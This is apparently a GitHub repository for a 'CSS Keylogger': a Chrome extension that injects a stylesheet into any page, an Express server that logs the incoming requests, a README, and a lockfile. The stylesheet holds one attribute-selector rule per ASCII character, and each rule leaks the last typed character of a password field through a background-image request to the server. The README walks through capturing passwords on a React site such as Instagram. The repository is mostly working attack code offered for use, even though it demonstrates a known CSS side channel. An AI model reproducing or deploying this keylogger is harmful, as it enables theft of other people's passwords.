├── .gitignore ├── css-keylogger-extension ├── background.js ├── manifest.json └── keylogger.css ├── package.json ├── server.js ├── README.md └── yarn.lock /.gitignore: -------------------------------------------------------------------------------- 1 | node_modules/ -------------------------------------------------------------------------------- /css-keylogger-extension/background.js: -------------------------------------------------------------------------------- 1 | chrome.browserAction.onClicked.addListener(tab => { 2 | chrome.tabs.insertCSS(tab.ib, { 3 | file: "keylogger.css" 4 | }); 5 | }); 6 | -------------------------------------------------------------------------------- /package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "css-keylogger", 3 | "version": "1.0.0", 4 | "main": "index.js", 5 | "license": "MIT", 6 | "dependencies": { 7 | "express": "^4.16.2" 8 | }, 9 | "scripts": { 10 | "build": "go run build.go", 11 | "start":"node server.js" 12 | } 13 | } 14 | -------------------------------------------------------------------------------- /server.js: -------------------------------------------------------------------------------- 1 | const express = require("express"); 2 | const app = express(); 3 | 4 | app.get("/:key", (req, res) => { 5 | process.stdout.write(req.params.key); 6 | return res.sendStatus(400); 7 | }); 8 | 9 | app.listen(3000, () => console.log("> Ready to keylog at localhost:3000")); 10 | -------------------------------------------------------------------------------- /css-keylogger-extension/manifest.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "Css Keylogger", 3 | "version": "0.0.1", 4 | "manifest_version": 2, 5 | "description": "Css Keylogger", 6 | "background": { 7 | "scripts": ["background.js"], 8 | "persistent": true 9 | }, 10 | "browser_action": { 11 | "default_title": "Css Keylogger" 12 | }, 13 | "permissions": ["https://*/*", "http://*/*", "tabs"] 14 | } 15 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # CSS Keylogger 2 | 3 | Chrome extension and Express server that exploits keylogging abilities of CSS. 4 | 5 | ## To use 6 | 7 | ### Setup Chrome extension 8 | 9 | 1. Download repository `git clone https://github.com/maxchehab/CSS-Keylogging` 10 | 2. Visit `chrome://extensions` in your browser (or open up the Chrome menu by clicking the icon to the far right of the Omnibox: The menu's icon is three horizontal bars. and select Extensions under the More Tools menu to get to the same place). 11 | 3. Ensure that the Developer mode checkbox in the top right-hand corner is checked. 12 | 4. Click `Load unpacked extension…` to pop up a file-selection dialog. 13 | 5. Select the `css-keylogger-extension` in the directory which you downloaded this repository. 14 | 15 | ### Setup Express server 16 | 17 | 1. `yarn` 18 | 2. `yarn start` 19 | 20 | ### Haxking l33t passw0rds 21 | 22 | 1. Open a website that uses a controlled component framework such as React. [https://instagram.com](https://www.instagram.com/). 23 | 2. Press the extension `C` on the top right of any webpage. 24 | 3. Type your password. 25 | 4. Your password should be captured by the express server. 26 | 27 | ## How it works 28 | 29 | This attack is really simple. Utilizing CSS attribute selectors, one can request resources from an external server under the premise of loading a `background-image`. 30 | 31 | For example, the following css will select all input's with a `type` that equals `password` and a `value` that ends with `a`. 32 | It will then try to load an image from `http://localhost:3000/a`. 33 | 34 | ```css 35 | input[type="password"][value$="a"] { 36 | background-image: url("http://localhost:3000/a"); 37 | } 38 | ``` 39 | 40 | Using a simple [script](https://github.com/maxchehab/CSS-Keylogging/blob/master/build.go) one can create a [css file](https://github.com/maxchehab/CSS-Keylogging/blob/master/css-keylogger-extension/keylogger.css) that will send a custom request for every ASCII character. 41 | -------------------------------------------------------------------------------- /css-keylogger-extension/keylogger.css: -------------------------------------------------------------------------------- 1 | input[type="password"][value$=" "] { background-image: url("http://localhost:3000/+"); } 2 | input[type="password"][value$="!"] { background-image: url("http://localhost:3000/%21"); } 3 | input[type="password"][value$="\""] { background-image: url("http://localhost:3000/%22"); } 4 | input[type="password"][value$="#"] { background-image: url("http://localhost:3000/%23"); } 5 | input[type="password"][value$="$"] { background-image: url("http://localhost:3000/%24"); } 6 | input[type="password"][value$="%"] { background-image: url("http://localhost:3000/%25"); } 7 | input[type="password"][value$="&"] { background-image: url("http://localhost:3000/%26"); } 8 | input[type="password"][value$="'"] { background-image: url("http://localhost:3000/%27"); } 9 | input[type="password"][value$="("] { background-image: url("http://localhost:3000/%28"); } 10 | input[type="password"][value$=")"] { background-image: url("http://localhost:3000/%29"); } 11 | input[type="password"][value$="*"] { background-image: url("http://localhost:3000/%2A"); } 12 | input[type="password"][value$="+"] { background-image: url("http://localhost:3000/%2B"); } 13 | input[type="password"][value$=","] { background-image: url("http://localhost:3000/%2C"); } 14 | input[type="password"][value$="-"] { background-image: url("http://localhost:3000/-"); } 15 | input[type="password"][value$="."] { background-image: url("http://localhost:3000/."); } 16 | input[type="password"][value$="/"] { background-image: url("http://localhost:3000/%2F"); } 17 | input[type="password"][value$="0"] { background-image: url("http://localhost:3000/0"); } 18 | input[type="password"][value$="1"] { background-image: url("http://localhost:3000/1"); } 19 | input[type="password"][value$="2"] { background-image: url("http://localhost:3000/2"); } 20 | input[type="password"][value$="3"] { background-image: url("http://localhost:3000/3"); } 21 | input[type="password"][value$="4"] { background-image: url("http://localhost:3000/4"); } 22 | input[type="password"][value$="5"] { background-image: url("http://localhost:3000/5"); } 23 | input[type="password"][value$="6"] { background-image: url("http://localhost:3000/6"); } 24 | input[type="password"][value$="7"] { background-image: url("http://localhost:3000/7"); } 25 | input[type="password"][value$="8"] { background-image: url("http://localhost:3000/8"); } 26 | input[type="password"][value$="9"] { background-image: url("http://localhost:3000/9"); } 27 | input[type="password"][value$=":"] { background-image: url("http://localhost:3000/%3A"); } 28 | input[type="password"][value$=";"] { background-image: url("http://localhost:3000/%3B"); } 29 | input[type="password"][value$="<"] { background-image: url("http://localhost:3000/%3C"); } 30 | input[type="password"][value$="="] { background-image: url("http://localhost:3000/%3D"); } 31 | input[type="password"][value$=">"] { background-image: url("http://localhost:3000/%3E"); } 32 | input[type="password"][value$="?"] { background-image: url("http://localhost:3000/%3F"); } 33 | input[type="password"][value$="@"] { background-image: url("http://localhost:3000/%40"); } 34 | input[type="password"][value$="A"] { background-image: url("http://localhost:3000/A"); } 35 | input[type="password"][value$="B"] { background-image: url("http://localhost:3000/B"); } 36 | input[type="password"][value$="C"] { background-image: url("http://localhost:3000/C"); } 37 | input[type="password"][value$="D"] { background-image: url("http://localhost:3000/D"); } 38 | input[type="password"][value$="E"] { background-image: url("http://localhost:3000/E"); } 39 | input[type="password"][value$="F"] { background-image: url("http://localhost:3000/F"); } 40 | input[type="password"][value$="G"] { background-image: url("http://localhost:3000/G"); } 41 | input[type="password"][value$="H"] { background-image: url("http://localhost:3000/H"); } 42 | input[type="password"][value$="I"] { background-image: url("http://localhost:3000/I"); } 43 | input[type="password"][value$="J"] { background-image: url("http://localhost:3000/J"); } 44 | input[type="password"][value$="K"] { background-image: url("http://localhost:3000/K"); } 45 | input[type="password"][value$="L"] { background-image: url("http://localhost:3000/L"); } 46 | input[type="password"][value$="M"] { background-image: url("http://localhost:3000/M"); } 47 | input[type="password"][value$="N"] { background-image: url("http://localhost:3000/N"); } 48 | input[type="password"][value$="O"] { background-image: url("http://localhost:3000/O"); } 49 | input[type="password"][value$="P"] { background-image: url("http://localhost:3000/P"); } 50 | input[type="password"][value$="Q"] { background-image: url("http://localhost:3000/Q"); } 51 | input[type="password"][value$="R"] { background-image: url("http://localhost:3000/R"); } 52 | input[type="password"][value$="S"] { background-image: url("http://localhost:3000/S"); } 53 | input[type="password"][value$="T"] { background-image: url("http://localhost:3000/T"); } 54 | input[type="password"][value$="U"] { background-image: url("http://localhost:3000/U"); } 55 | input[type="password"][value$="V"] { background-image: url("http://localhost:3000/V"); } 56 | input[type="password"][value$="W"] { background-image: url("http://localhost:3000/W"); } 57 | input[type="password"][value$="X"] { background-image: url("http://localhost:3000/X"); } 58 | input[type="password"][value$="Y"] { background-image: url("http://localhost:3000/Y"); } 59 | input[type="password"][value$="Z"] { background-image: url("http://localhost:3000/Z"); } 60 | input[type="password"][value$="["] { background-image: url("http://localhost:3000/%5B"); } 61 | input[type="password"][value$="\\"] { background-image: url("http://localhost:3000/%5C"); } 62 | input[type="password"][value$="]"] { background-image: url("http://localhost:3000/%5D"); } 63 | input[type="password"][value$="^"] { background-image: url("http://localhost:3000/%5E"); } 64 | input[type="password"][value$="_"] { background-image: url("http://localhost:3000/_"); } 65 | input[type="password"][value$="`"] { background-image: url("http://localhost:3000/%60"); } 66 | input[type="password"][value$="a"] { background-image: url("http://localhost:3000/a"); } 67 | input[type="password"][value$="b"] { background-image: url("http://localhost:3000/b"); } 68 | input[type="password"][value$="c"] { background-image: url("http://localhost:3000/c"); } 69 | input[type="password"][value$="d"] { background-image: url("http://localhost:3000/d"); } 70 | input[type="password"][value$="e"] { background-image: url("http://localhost:3000/e"); } 71 | input[type="password"][value$="f"] { background-image: url("http://localhost:3000/f"); } 72 | input[type="password"][value$="g"] { background-image: url("http://localhost:3000/g"); } 73 | input[type="password"][value$="h"] { background-image: url("http://localhost:3000/h"); } 74 | input[type="password"][value$="i"] { background-image: url("http://localhost:3000/i"); } 75 | input[type="password"][value$="j"] { background-image: url("http://localhost:3000/j"); } 76 | input[type="password"][value$="k"] { background-image: url("http://localhost:3000/k"); } 77 | input[type="password"][value$="l"] { background-image: url("http://localhost:3000/l"); } 78 | input[type="password"][value$="m"] { background-image: url("http://localhost:3000/m"); } 79 | input[type="password"][value$="n"] { background-image: url("http://localhost:3000/n"); } 80 | input[type="password"][value$="o"] { background-image: url("http://localhost:3000/o"); } 81 | input[type="password"][value$="p"] { background-image: url("http://localhost:3000/p"); } 82 | input[type="password"][value$="q"] { background-image: url("http://localhost:3000/q"); } 83 | input[type="password"][value$="r"] { background-image: url("http://localhost:3000/r"); } 84 | input[type="password"][value$="s"] { background-image: url("http://localhost:3000/s"); } 85 | input[type="password"][value$="t"] { background-image: url("http://localhost:3000/t"); } 86 | input[type="password"][value$="u"] { background-image: url("http://localhost:3000/u"); } 87 | input[type="password"][value$="v"] { background-image: url("http://localhost:3000/v"); } 88 | input[type="password"][value$="w"] { background-image: url("http://localhost:3000/w"); } 89 | input[type="password"][value$="x"] { background-image: url("http://localhost:3000/x"); } 90 | input[type="password"][value$="y"] { background-image: url("http://localhost:3000/y"); } 91 | input[type="password"][value$="z"] { background-image: url("http://localhost:3000/z"); } 92 | input[type="password"][value$="{"] { background-image: url("http://localhost:3000/%7B"); } 93 | input[type="password"][value$="|"] { background-image: url("http://localhost:3000/%7C"); } 94 | input[type="password"][value$="\\}"] { background-image: url("http://localhost:3000/%7D"); } 95 | input[type="password"][value$="~"] { background-image: url("http://localhost:3000/~"); } 96 | input[type="password"][value$=""] { background-image: url("http://localhost:3000/%7F"); } 97 | -------------------------------------------------------------------------------- /yarn.lock: -------------------------------------------------------------------------------- 1 | # THIS IS AN AUTOGENERATED FILE. DO NOT EDIT THIS FILE DIRECTLY. 2 | # yarn lockfile v1 3 | 4 | 5 | accepts@~1.3.4: 6 | version "1.3.4" 7 | resolved "https://registry.yarnpkg.com/accepts/-/accepts-1.3.4.tgz#86246758c7dd6d21a6474ff084a4740ec05eb21f" 8 | dependencies: 9 | mime-types "~2.1.16" 10 | negotiator "0.6.1" 11 | 12 | array-flatten@1.1.1: 13 | version "1.1.1" 14 | resolved "https://registry.yarnpkg.com/array-flatten/-/array-flatten-1.1.1.tgz#9a5f699051b1e7073328f2a008968b64ea2955d2" 15 | 16 | body-parser@1.18.2: 17 | version "1.18.2" 18 | resolved "https://registry.yarnpkg.com/body-parser/-/body-parser-1.18.2.tgz#87678a19d84b47d859b83199bd59bce222b10454" 19 | dependencies: 20 | bytes "3.0.0" 21 | content-type "~1.0.4" 22 | debug "2.6.9" 23 | depd "~1.1.1" 24 | http-errors "~1.6.2" 25 | iconv-lite "0.4.19" 26 | on-finished "~2.3.0" 27 | qs "6.5.1" 28 | raw-body "2.3.2" 29 | type-is "~1.6.15" 30 | 31 | bytes@3.0.0: 32 | version "3.0.0" 33 | resolved "https://registry.yarnpkg.com/bytes/-/bytes-3.0.0.tgz#d32815404d689699f85a4ea4fa8755dd13a96048" 34 | 35 | content-disposition@0.5.2: 36 | version "0.5.2" 37 | resolved "https://registry.yarnpkg.com/content-disposition/-/content-disposition-0.5.2.tgz#0cf68bb9ddf5f2be7961c3a85178cb85dba78cb4" 38 | 39 | content-type@~1.0.4: 40 | version "1.0.4" 41 | resolved "https://registry.yarnpkg.com/content-type/-/content-type-1.0.4.tgz#e138cc75e040c727b1966fe5e5f8c9aee256fe3b" 42 | 43 | cookie-signature@1.0.6: 44 | version "1.0.6" 45 | resolved "https://registry.yarnpkg.com/cookie-signature/-/cookie-signature-1.0.6.tgz#e303a882b342cc3ee8ca513a79999734dab3ae2c" 46 | 47 | cookie@0.3.1: 48 | version "0.3.1" 49 | resolved "https://registry.yarnpkg.com/cookie/-/cookie-0.3.1.tgz#e7e0a1f9ef43b4c8ba925c5c5a96e806d16873bb" 50 | 51 | debug@2.6.9: 52 | version "2.6.9" 53 | resolved "https://registry.yarnpkg.com/debug/-/debug-2.6.9.tgz#5d128515df134ff327e90a4c93f4e077a536341f" 54 | dependencies: 55 | ms "2.0.0" 56 | 57 | depd@1.1.1: 58 | version "1.1.1" 59 | resolved "https://registry.yarnpkg.com/depd/-/depd-1.1.1.tgz#5783b4e1c459f06fa5ca27f991f3d06e7a310359" 60 | 61 | depd@~1.1.1: 62 | version "1.1.2" 63 | resolved "https://registry.yarnpkg.com/depd/-/depd-1.1.2.tgz#9bcd52e14c097763e749b274c4346ed2e560b5a9" 64 | 65 | destroy@~1.0.4: 66 | version "1.0.4" 67 | resolved "https://registry.yarnpkg.com/destroy/-/destroy-1.0.4.tgz#978857442c44749e4206613e37946205826abd80" 68 | 69 | ee-first@1.1.1: 70 | version "1.1.1" 71 | resolved "https://registry.yarnpkg.com/ee-first/-/ee-first-1.1.1.tgz#590c61156b0ae2f4f0255732a158b266bc56b21d" 72 | 73 | encodeurl@~1.0.1: 74 | version "1.0.2" 75 | resolved "https://registry.yarnpkg.com/encodeurl/-/encodeurl-1.0.2.tgz#ad3ff4c86ec2d029322f5a02c3a9a606c95b3f59" 76 | 77 | escape-html@~1.0.3: 78 | version "1.0.3" 79 | resolved "https://registry.yarnpkg.com/escape-html/-/escape-html-1.0.3.tgz#0258eae4d3d0c0974de1c169188ef0051d1d1988" 80 | 81 | etag@~1.8.1: 82 | version "1.8.1" 83 | resolved "https://registry.yarnpkg.com/etag/-/etag-1.8.1.tgz#41ae2eeb65efa62268aebfea83ac7d79299b0887" 84 | 85 | express@^4.16.2: 86 | version "4.16.2" 87 | resolved "https://registry.yarnpkg.com/express/-/express-4.16.2.tgz#e35c6dfe2d64b7dca0a5cd4f21781be3299e076c" 88 | dependencies: 89 | accepts "~1.3.4" 90 | array-flatten "1.1.1" 91 | body-parser "1.18.2" 92 | content-disposition "0.5.2" 93 | content-type "~1.0.4" 94 | cookie "0.3.1" 95 | cookie-signature "1.0.6" 96 | debug "2.6.9" 97 | depd "~1.1.1" 98 | encodeurl "~1.0.1" 99 | escape-html "~1.0.3" 100 | etag "~1.8.1" 101 | finalhandler "1.1.0" 102 | fresh "0.5.2" 103 | merge-descriptors "1.0.1" 104 | methods "~1.1.2" 105 | on-finished "~2.3.0" 106 | parseurl "~1.3.2" 107 | path-to-regexp "0.1.7" 108 | proxy-addr "~2.0.2" 109 | qs "6.5.1" 110 | range-parser "~1.2.0" 111 | safe-buffer "5.1.1" 112 | send "0.16.1" 113 | serve-static "1.13.1" 114 | setprototypeof "1.1.0" 115 | statuses "~1.3.1" 116 | type-is "~1.6.15" 117 | utils-merge "1.0.1" 118 | vary "~1.1.2" 119 | 120 | finalhandler@1.1.0: 121 | version "1.1.0" 122 | resolved "https://registry.yarnpkg.com/finalhandler/-/finalhandler-1.1.0.tgz#ce0b6855b45853e791b2fcc680046d88253dd7f5" 123 | dependencies: 124 | debug "2.6.9" 125 | encodeurl "~1.0.1" 126 | escape-html "~1.0.3" 127 | on-finished "~2.3.0" 128 | parseurl "~1.3.2" 129 | statuses "~1.3.1" 130 | unpipe "~1.0.0" 131 | 132 | forwarded@~0.1.2: 133 | version "0.1.2" 134 | resolved "https://registry.yarnpkg.com/forwarded/-/forwarded-0.1.2.tgz#98c23dab1175657b8c0573e8ceccd91b0ff18c84" 135 | 136 | fresh@0.5.2: 137 | version "0.5.2" 138 | resolved "https://registry.yarnpkg.com/fresh/-/fresh-0.5.2.tgz#3d8cadd90d976569fa835ab1f8e4b23a105605a7" 139 | 140 | http-errors@1.6.2, http-errors@~1.6.2: 141 | version "1.6.2" 142 | resolved "https://registry.yarnpkg.com/http-errors/-/http-errors-1.6.2.tgz#0a002cc85707192a7e7946ceedc11155f60ec736" 143 | dependencies: 144 | depd "1.1.1" 145 | inherits "2.0.3" 146 | setprototypeof "1.0.3" 147 | statuses ">= 1.3.1 < 2" 148 | 149 | iconv-lite@0.4.19: 150 | version "0.4.19" 151 | resolved "https://registry.yarnpkg.com/iconv-lite/-/iconv-lite-0.4.19.tgz#f7468f60135f5e5dad3399c0a81be9a1603a082b" 152 | 153 | inherits@2.0.3: 154 | version "2.0.3" 155 | resolved "https://registry.yarnpkg.com/inherits/-/inherits-2.0.3.tgz#633c2c83e3da42a502f52466022480f4208261de" 156 | 157 | ipaddr.js@1.6.0: 158 | version "1.6.0" 159 | resolved "https://registry.yarnpkg.com/ipaddr.js/-/ipaddr.js-1.6.0.tgz#e3fa357b773da619f26e95f049d055c72796f86b" 160 | 161 | media-typer@0.3.0: 162 | version "0.3.0" 163 | resolved "https://registry.yarnpkg.com/media-typer/-/media-typer-0.3.0.tgz#8710d7af0aa626f8fffa1ce00168545263255748" 164 | 165 | merge-descriptors@1.0.1: 166 | version "1.0.1" 167 | resolved "https://registry.yarnpkg.com/merge-descriptors/-/merge-descriptors-1.0.1.tgz#b00aaa556dd8b44568150ec9d1b953f3f90cbb61" 168 | 169 | methods@~1.1.2: 170 | version "1.1.2" 171 | resolved "https://registry.yarnpkg.com/methods/-/methods-1.1.2.tgz#5529a4d67654134edcc5266656835b0f851afcee" 172 | 173 | mime-db@~1.33.0: 174 | version "1.33.0" 175 | resolved "https://registry.yarnpkg.com/mime-db/-/mime-db-1.33.0.tgz#a3492050a5cb9b63450541e39d9788d2272783db" 176 | 177 | mime-types@~2.1.16, mime-types@~2.1.18: 178 | version "2.1.18" 179 | resolved "https://registry.yarnpkg.com/mime-types/-/mime-types-2.1.18.tgz#6f323f60a83d11146f831ff11fd66e2fe5503bb8" 180 | dependencies: 181 | mime-db "~1.33.0" 182 | 183 | mime@1.4.1: 184 | version "1.4.1" 185 | resolved "https://registry.yarnpkg.com/mime/-/mime-1.4.1.tgz#121f9ebc49e3766f311a76e1fa1c8003c4b03aa6" 186 | 187 | ms@2.0.0: 188 | version "2.0.0" 189 | resolved "https://registry.yarnpkg.com/ms/-/ms-2.0.0.tgz#5608aeadfc00be6c2901df5f9861788de0d597c8" 190 | 191 | negotiator@0.6.1: 192 | version "0.6.1" 193 | resolved "https://registry.yarnpkg.com/negotiator/-/negotiator-0.6.1.tgz#2b327184e8992101177b28563fb5e7102acd0ca9" 194 | 195 | on-finished@~2.3.0: 196 | version "2.3.0" 197 | resolved "https://registry.yarnpkg.com/on-finished/-/on-finished-2.3.0.tgz#20f1336481b083cd75337992a16971aa2d906947" 198 | dependencies: 199 | ee-first "1.1.1" 200 | 201 | parseurl@~1.3.2: 202 | version "1.3.2" 203 | resolved "https://registry.yarnpkg.com/parseurl/-/parseurl-1.3.2.tgz#fc289d4ed8993119460c156253262cdc8de65bf3" 204 | 205 | path-to-regexp@0.1.7: 206 | version "0.1.7" 207 | resolved "https://registry.yarnpkg.com/path-to-regexp/-/path-to-regexp-0.1.7.tgz#df604178005f522f15eb4490e7247a1bfaa67f8c" 208 | 209 | proxy-addr@~2.0.2: 210 | version "2.0.3" 211 | resolved "https://registry.yarnpkg.com/proxy-addr/-/proxy-addr-2.0.3.tgz#355f262505a621646b3130a728eb647e22055341" 212 | dependencies: 213 | forwarded "~0.1.2" 214 | ipaddr.js "1.6.0" 215 | 216 | qs@6.5.1: 217 | version "6.5.1" 218 | resolved "https://registry.yarnpkg.com/qs/-/qs-6.5.1.tgz#349cdf6eef89ec45c12d7d5eb3fc0c870343a6d8" 219 | 220 | range-parser@~1.2.0: 221 | version "1.2.0" 222 | resolved "https://registry.yarnpkg.com/range-parser/-/range-parser-1.2.0.tgz#f49be6b487894ddc40dcc94a322f611092e00d5e" 223 | 224 | raw-body@2.3.2: 225 | version "2.3.2" 226 | resolved "https://registry.yarnpkg.com/raw-body/-/raw-body-2.3.2.tgz#bcd60c77d3eb93cde0050295c3f379389bc88f89" 227 | dependencies: 228 | bytes "3.0.0" 229 | http-errors "1.6.2" 230 | iconv-lite "0.4.19" 231 | unpipe "1.0.0" 232 | 233 | safe-buffer@5.1.1: 234 | version "5.1.1" 235 | resolved "https://registry.yarnpkg.com/safe-buffer/-/safe-buffer-5.1.1.tgz#893312af69b2123def71f57889001671eeb2c853" 236 | 237 | send@0.16.1: 238 | version "0.16.1" 239 | resolved "https://registry.yarnpkg.com/send/-/send-0.16.1.tgz#a70e1ca21d1382c11d0d9f6231deb281080d7ab3" 240 | dependencies: 241 | debug "2.6.9" 242 | depd "~1.1.1" 243 | destroy "~1.0.4" 244 | encodeurl "~1.0.1" 245 | escape-html "~1.0.3" 246 | etag "~1.8.1" 247 | fresh "0.5.2" 248 | http-errors "~1.6.2" 249 | mime "1.4.1" 250 | ms "2.0.0" 251 | on-finished "~2.3.0" 252 | range-parser "~1.2.0" 253 | statuses "~1.3.1" 254 | 255 | serve-static@1.13.1: 256 | version "1.13.1" 257 | resolved "https://registry.yarnpkg.com/serve-static/-/serve-static-1.13.1.tgz#4c57d53404a761d8f2e7c1e8a18a47dbf278a719" 258 | dependencies: 259 | encodeurl "~1.0.1" 260 | escape-html "~1.0.3" 261 | parseurl "~1.3.2" 262 | send "0.16.1" 263 | 264 | setprototypeof@1.0.3: 265 | version "1.0.3" 266 | resolved "https://registry.yarnpkg.com/setprototypeof/-/setprototypeof-1.0.3.tgz#66567e37043eeb4f04d91bd658c0cbefb55b8e04" 267 | 268 | setprototypeof@1.1.0: 269 | version "1.1.0" 270 | resolved "https://registry.yarnpkg.com/setprototypeof/-/setprototypeof-1.1.0.tgz#d0bd85536887b6fe7c0d818cb962d9d91c54e656" 271 | 272 | "statuses@>= 1.3.1 < 2": 273 | version "1.4.0" 274 | resolved "https://registry.yarnpkg.com/statuses/-/statuses-1.4.0.tgz#bb73d446da2796106efcc1b601a253d6c46bd087" 275 | 276 | statuses@~1.3.1: 277 | version "1.3.1" 278 | resolved "https://registry.yarnpkg.com/statuses/-/statuses-1.3.1.tgz#faf51b9eb74aaef3b3acf4ad5f61abf24cb7b93e" 279 | 280 | type-is@~1.6.15: 281 | version "1.6.16" 282 | resolved "https://registry.yarnpkg.com/type-is/-/type-is-1.6.16.tgz#f89ce341541c672b25ee7ae3c73dee3b2be50194" 283 | dependencies: 284 | media-typer "0.3.0" 285 | mime-types "~2.1.18" 286 | 287 | unpipe@1.0.0, unpipe@~1.0.0: 288 | version "1.0.0" 289 | resolved "https://registry.yarnpkg.com/unpipe/-/unpipe-1.0.0.tgz#b2bf4ee8514aae6165b4817829d21b2ef49904ec" 290 | 291 | utils-merge@1.0.1: 292 | version "1.0.1" 293 | resolved "https://registry.yarnpkg.com/utils-merge/-/utils-merge-1.0.1.tgz#9f95710f50a267947b2ccc124741c1028427e713" 294 | 295 | vary@~1.1.2: 296 | version "1.1.2" 297 | resolved "https://registry.yarnpkg.com/vary/-/vary-1.1.2.tgz#2299f02c6ded30d4a5961b0b9f74524a18f634fc" 298 | --------------------------------------------------------------------------------